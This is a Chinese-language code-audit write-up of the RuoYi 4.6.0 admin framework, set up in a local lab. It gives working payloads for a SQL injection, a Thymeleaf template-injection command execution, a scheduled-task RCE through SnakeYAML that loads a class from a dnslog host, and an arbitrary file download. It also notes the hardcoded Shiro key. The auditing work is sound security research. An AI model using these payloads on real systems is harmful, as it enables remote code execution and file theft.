若依 RuoYi4.6.0 代码审计

2024-11-01 25 0

环境布置:

到官网下载源码:https://github.com/yangzongzhuan/RuoYi

采用phpstudy集成数据库,5.7版本。JDK1.8。

IDEA打开项目,等待自动加载,修改application-druid.yml配置文件:数据库名,账号密码,连接数据库,修改application.yml中的端口,避免与80端口冲突。

若依 RuoYi4.6.0 代码审计插图

导入:quartz.sql与ry_20201214.sql文件。

运行RuoYiApplication文件。

访问后台:http://localhost:25001/login

若依 RuoYi4.6.0 代码审计插图1

Sql注入漏洞:

由于该项目采用了mybatis开发,常见的找sql注入的方法就是全局搜索${

定位到可疑参数:

若依 RuoYi4.6.0 代码审计插图2

根据id值selectRoleList全局搜索,从xml定位到dao层:

若依 RuoYi4.6.0 代码审计插图3

右键单击,找该接口的使用,在使用处发现selectRoleList方法,全局搜索该方法,定位controller层查看接口与传参:

若依 RuoYi4.6.0 代码审计插图4

如下,定位到controller层:

若依 RuoYi4.6.0 代码审计插图5

分析代码:首先以@RequiresPermissions注解表明接口访问权限,再以@PostMapping注解表明接收接口,并且以@ResponseBody注解表明回将返回值写入http响应。

【----帮助网安学习,以下所有学习资料免费领!加vx:dctintin,备注“freebuf”获取!】

① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC漏洞分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)

此方法会接收一个SysRole类型的role值,并且将接受的role值以selectRoleList方法处理后返回给list,最后返回给http响应。

于是我们现在需要分析

1:role对象在接收它的参数时是否有过滤,

2:selectRoleList方法在处理role接收后的值是否有过滤。

跟进SysRole类,发现无过滤:

若依 RuoYi4.6.0 代码审计插图6

跟进selectRoleList方法,发现无过滤:

若依 RuoYi4.6.0 代码审计插图7

于是确定原dataScope参数存在sql注入,到前端功能找对应数据包。

若依 RuoYi4.6.0 代码审计插图8

若依 RuoYi4.6.0 代码审计插图9

发现不存在dataScope参数,手动添加:

若依 RuoYi4.6.0 代码审计插图10

将localhost换成主机IP,放入sqlmap验证

若依 RuoYi4.6.0 代码审计插图11

Shiro反序列化:

首先查看项目pom文件,发现shiro版本为1.7.0:

若依 RuoYi4.6.0 代码审计插图12

全局搜索cipherKey,定位到密钥值:

若依 RuoYi4.6.0 代码审计插图13

由此结合shiro反序列化利用工具利用。

Shiro未授权访问:

查看shiro配置文件ShiroConfig.java,anon为匿名拦截器,不需要登录就能访问。authc为登录拦截器,需要登录认证才能访问。

若依 RuoYi4.6.0 代码审计插图14

Thymeleaf模板注入:

本框架采用了 Thymeleaf 模板,全局搜索::

若依 RuoYi4.6.0 代码审计插图15

根据Mapping构造路径,发送poc

fragment=__*%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d__::.x

若依 RuoYi4.6.0 代码审计插图16

计划任务RCE:

如图添加计划任务

将调用目标字符修改如下:

org.yaml.snakeyaml.Yaml.load(\'!!javax.script.ScriptEngineManager
\[!!java.net.URLClassLoader \[\[!!java.net.URL
\[\"http://w2h0ib.dnslog.cn\"\]\]\]\]\')

若依 RuoYi4.6.0 代码审计插图17

调用执行:

若依 RuoYi4.6.0 代码审计插图18

dnslog出现响应:

若依 RuoYi4.6.0 代码审计插图19

任意文件下载漏洞:

继续如上创建定时任务:

ruoYiConfig.setProfile(\'/home/clown/Project/RuoYi-v4.6.0/ruoyi-admin/src/main/resources/application.yml\')

执行后访问如下路径实现文件下载:

/common/download/resource?resource=.zip

若依 RuoYi4.6.0 代码审计插图20

跟踪下载路径定位代码:

若依 RuoYi4.6.0 代码审计插图21

该处代码先接收resource的值,再将该值放入checkAllowDownload方法里面校验后,进入下载文件的代码调用。

于是跟进checkAllowDownload方法:

若依 RuoYi4.6.0 代码审计插图22

发现该方法主要做了两件事:

1:禁止掉resource中的目录穿越../

2:以白名单形式检查文件下载规则

这里主要跟进一下2的代码:

取点后缀:

若依 RuoYi4.6.0 代码审计插图23

再以点后缀进行白名单匹配:

若依 RuoYi4.6.0 代码审计插图24

如果在原controller层if判断为假,进入下载文件代码流程:

若依 RuoYi4.6.0 代码审计插图25

至此可发现下载文件的路径不可控,且类型存在白名单限制!

此时我们继续跟进本地资源路径的代码:

若依 RuoYi4.6.0 代码审计插图26

我们可以发现本地资源路径是通过getProfile进行获取,且该RuoYiConfig类存在setProfile方法,由此可知,可以通过计划任务调用该类的setProfile方法设置好路径,直接绕过了前面的if过滤:

若依 RuoYi4.6.0 代码审计插图27

之后即可调用/common/download/resource接口任意下载文件。


4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

办事处网络安全监控与事件响应;国外员工终端安全性怎么保障 | FB甲方群话题讨论
拿不下总统之位,那就用热加载拿下验证码识别与爆破好了!
Sooty:一款SoC分析一体化与自动化CLI工具
shiro CVE-2016-6802 路径绕过(越权)
Apache Solr 身份验证绕过漏洞(CVE-2024-45216)详解
llama_index的CVE-2024-4181漏洞根因分析

发布评论